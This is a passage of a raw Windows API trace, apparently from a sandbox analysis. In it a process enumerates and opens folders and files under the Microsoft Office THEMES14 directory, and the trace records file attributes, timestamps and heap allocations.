BaseAddress=0x9ebfc0) returned 1 [0060.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff3e0 [0060.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fd5d0 [0060.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.020] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.020] GetLastError () returned 0x12 [0060.020] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0060.020] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0060.020] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.020] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.020] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1 [0060.020] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1 [0060.020] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.020] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.020] GetLastError () returned 0x12 [0060.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fd1a8) returned 1 [0060.020] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0060.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f9f40) returned 1 [0060.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0060.021] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1 [0060.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.021] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0060.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0060.025] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0060.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ffba8 [0060.025] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ffba8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9ffba8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0060.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ffba8) returned 1 [0060.025] NtClose (Handle=0x16c) returned 0x0 [0060.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0060.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0060.025] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0060.025] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.025] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0060.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0060.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0060.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0060.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0060.026] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1 [0060.026] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1 [0060.026] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.026] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.026] GetLastError () returned 0x12 [0060.026] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0060.026] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0060.026] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.026] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.026] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1 [0060.026] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1 [0060.026] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.026] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.026] GetLastError () returned 0x12 [0060.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0060.026] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0060.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0060.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.027] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0060.027] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0060.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0060.955] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0060.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ffba8 [0060.955] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ffba8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9ffba8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0060.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ffba8) returned 1 [0060.955] NtClose (Handle=0x160) returned 0x0 [0060.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0060.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0060.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fdaf8 [0060.955] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0060.955] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.955] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fdc00 [0060.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0060.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff480 [0060.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fdd08 [0060.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.956] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1 [0060.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff4a0 [0060.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fde10 [0060.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x880) returned 0x9ffba8 [0060.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fa458) returned 1 [0060.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.956] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1 [0060.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff4c0 [0060.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fdf18 [0060.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.957] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff4e0 [0060.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fe020 [0060.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.957] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.957] GetLastError () returned 0x12 [0060.957] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common 